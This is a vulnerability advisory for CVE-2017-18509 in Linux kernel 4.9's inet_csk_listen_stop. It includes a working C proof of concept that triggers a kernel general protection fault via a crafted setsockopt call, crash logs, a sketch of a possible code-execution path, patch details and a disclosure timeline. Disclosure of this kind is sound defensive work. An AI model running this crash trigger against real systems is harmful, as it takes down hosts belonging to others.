Linux Kernel 4.9 - inet_csk_listen_stop GPF (CVE-2017-18509)

Aug 13 2019

By setting a specific socket option, an attacker can control a pointer in kernel land and cause a general protection fault, or potentially execute arbitrary code. The issue can be triggered by running the included POC as root, inside a default LXC container or with CAP_NET_ADMIN privileges. This issue was confirmed on Debian Stretch (kernel 4.9.168), however Debian have advised that this issue also affects older kernel versions. This issue may also be triggered by a low privileged user that can unshare their user and network namespaces.

Date Released: 13/08/2019
Author: Denis Andzakovic
Vendor Website: https://www.debian.org/
Affected Software: Linux Kernel 4.9.168 - Linux Kernel < 4.11
CVE: CVE-2017-18509

inet_csk_listen_stop GPF

The crash occurs in the inet_csk_listen_stop function, and can be triggered by running the following POC. The POC code needs to be run as root, from within a default configured LXC container or given CAP_NET_ADMIN privileges. Alternatively, a low privileged user with the ability the unshare their user namespace may use unshare -Urn ./poc and trigger the crash.

Note this vulnerability appears to be the same issue disclosed to Openwall on December 2017, but never addressed (https://lists.openwall.net/netdev/2017/12/04/40)

Proof-of-concept

The following proof-of-concept can be used to replicate the issue

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdint.h>
#include <unistd.h>

int main(){
        uint32_t opt = 99999999;
        int sock = socket(AF_INET6, SOCK_STREAM, 0);
        listen(sock, 0);
        setsockopt(sock, IPPROTO_IPV6, 0xd1, &opt, 4);
        close(sock); // boom
        return 0;
}

The POC above results in the following GPF:

Breakpoint 2, inet_csk_listen_stop (sk=0xffff88000d76a800) at ./net/ipv4/inet_connection_sock.c:877
877                             next = req->dl_next;
(gdb) p req
$18 = (struct request_sock *) 0x5f5e0ff
(gdb) si
0xffffffff8161bbf0 in page_fault () at /build/linux-l3XgYv/linux-4.9.168/arch/x86/entry/entry_64.S:956
956     /build/linux-l3XgYv/linux-4.9.168/arch/x86/entry/entry_64.S: No such file or directory.


[ 9077.252763] BUG: unable to handle kernel paging request at 0000000005f5e187
[ 9077.253339] IP: [<ffffffff8155ed5c>] inet_csk_listen_stop+0x1ac/0x2c0
[ 9077.253916] PGD 0
[ 9077.254760] Oops: 0000 [#12] SMP
[ 9077.255277] Modules linked in: fuse iptable_filter crct10dif_pclmul crc32_pclmul vmw_balloon ghash_clmulni_intel joydev serio_raw pcspkr snd_ens1371 snd_ac97_codec ac97_bus gameport snd_rawmidi snd_seq_device snd_pcm snd_timer vmwgfx snd ttm drm_kms_helper soundcore drm vmw_vmci shpchp sg evdev ac button btusb btrtl btbcm btintel bluetooth rfkill ip_tables x_tables autofs4 ext4 crc16 jbd2 crc32c_generic fscrypto ecb mbcache sr_mod cdrom sd_mod ata_generic hid_generic usbhid hid crc32c_intel aesni_intel aes_x86_64 glue_helper lrw gf128mul ablk_helper cryptd psmouse ata_piix ehci_pci e1000 uhci_hcd ehci_hcd usbcore usb_common mptspi scsi_transport_spi mptscsih mptbase i2c_piix4 libata scsi_mod
[ 9077.259791] CPU: 0 PID: 1231 Comm: a.out Tainted: G      D         4.9.0-9-amd64 #1 Debian 4.9.168-1
[ 9077.260919] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 05/19/2017
[ 9077.262144] task: ffff88000cbaf080 task.stack: ffffc90000110000
[ 9077.262749] RIP: 0010:[<ffffffff8155ed5c>]  [<ffffffff8155ed5c>] inet_csk_listen_stop+0x1ac/0x2c0
[ 9077.263355] RSP: 0018:ffffc90000113e00  EFLAGS: 00010206
[ 9077.264011] RAX: 0000000080000000 RBX: 0000000005f5e0ff RCX: ffffea00004086df
[ 9077.264674] RDX: 0000000000000001 RSI: 0000000000000200 RDI: ffffffff8155ed4d
[ 9077.265340] RBP: ffff88000cb373a0 R08: 0000000000000000 R09: 0000000000000000
[ 9077.266008] R10: ffff88001f1aa610 R11: 0000000000000000 R12: ffff88000cb37000
[ 9077.266663] R13: ffffffff81a61830 R14: ffff88000cb37368 R15: ffffffff81a64878
[ 9077.267291] FS:  00007f9c4516e440(0000) GS:ffff88001b800000(0000) knlGS:0000000000000000
[ 9077.267979] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 9077.268679] CR2: 0000000005f5e187 CR3: 0000000014570000 CR4: 0000000000360670
[ 9077.269332] Stack:
[ 9077.270024]  ffff88000cb37000 ffff88001f7f1d00 0000000000000000 ffff88001b42a7e0
[ 9077.270726]  ffff880019be5f00 ffff88001f7f1d30 ffffffff815647f0 ffff88000cb37000
[ 9077.271521]  ffff88001f7f1d00 ffff88001f7f1d30 ffff88001b42a7e0 ffffffff8158e58c
[ 9077.272238] Call Trace:
[ 9077.272863]  [<ffffffff815647f0>] ? tcp_close+0x40/0x450
[ 9077.273486]  [<ffffffff8158e58c>] ? inet_release+0x3c/0x60
[ 9077.274139]  [<ffffffff814f2800>] ? sock_release+0x20/0x80
[ 9077.274769]  [<ffffffff814f286e>] ? sock_close+0xe/0x20
[ 9077.275335]  [<ffffffff8120dc48>] ? __fput+0xd8/0x220
[ 9077.275925]  [<ffffffff81098d5f>] ? task_work_run+0x7f/0xa0
[ 9077.276534]  [<ffffffff81003754>] ? exit_to_usermode_loop+0xa4/0xb0
[ 9077.277094]  [<ffffffff81003bcd>] ? do_syscall_64+0xdd/0xf0
[ 9077.277673]  [<ffffffff8161a84e>] ? entry_SYSCALL_64_after_swapgs+0x58/0xc6
[ 9077.278248] Code: 49 8b 9c 24 90 03 00 00 48 89 ef 49 c7 84 24 90 03 00 00 00 00 00 00 e8 83 b7 0b 00 48 85 db 75 0a eb 77 48 85 ed 48 89 eb 74 6f <48> 8b ab 88 00 00 00 3e ff 8b 80 00 00 00 75 e8 8b 83 80 00 00
[ 9077.280242] RIP  [<ffffffff8155ed5c>] inet_csk_listen_stop+0x1ac/0x2c0
[ 9077.280853]  RSP <ffffc90000113e00>
[ 9077.281394] CR2: 0000000005f5e187
[ 9077.281925] ---[ end trace 99da6701ca5f7f0d ]---

Potential path to code execution

This issue may be used to execute arbitrary code, provided an attacker can control the req pointer in ./net/ipv4/inet_connection_sock.c:877. However, the bug is limited in that it will not crash with an attacker controlled value greater than 0x5F5E0FF. If the attacker can control memory and bypass protections at an address lower than 0x5F5E0FF, then execution of arbitrary code may be plausible. This requires elevated privileges and should get caught by existing kernel exploit mitigations, so practical exploitation is likely limited. The following figures detail the potential exploit path:

The attacker controls req below (net/ipv4/inet_connection_sock.c):

while (req != NULL) {
			next = req->dl_next;
			reqsk_put(req);
			req = next;
}

The attacker controlled pointer is passed to reqsk_put (net/request_sock.h):

static inline void reqsk_put(struct request_sock *req)
{
	if (atomic_dec_and_test(&req->rsk_refcnt))
		reqsk_free(req);
}

Attacker controlled function is then called at req->rsk_ops->destructor (net/request_sock.h):

static inline void reqsk_free(struct request_sock *req)
{
	/* temporary debugging */
	WARN_ON_ONCE(atomic_read(&req->rsk_refcnt) != 0);

	req->rsk_ops->destructor(req);
	if (req->rsk_listener)
		sock_put(req->rsk_listener);
	kfree(req->saved_syn);
	kmem_cache_free(req->rsk_ops->slab, req);
}

Recommendation

Apply the supplied patch when available. Alternatively, this issue was identified to be fixed by commit 99253eb750fd.

This issue has been resolved in upstream commits 3.16.72, 4.4.187 and 4.9.187.

Timeline

16/05/2019 - Initial email to Debian security team
26/06/2019 - Debian security team identified a patch
21/07/2019 - Patch confirmed
31/07/2019 - Debian confirmed patch queued for kernel 4.9 and 4.4
13/08/2019 - Advisory released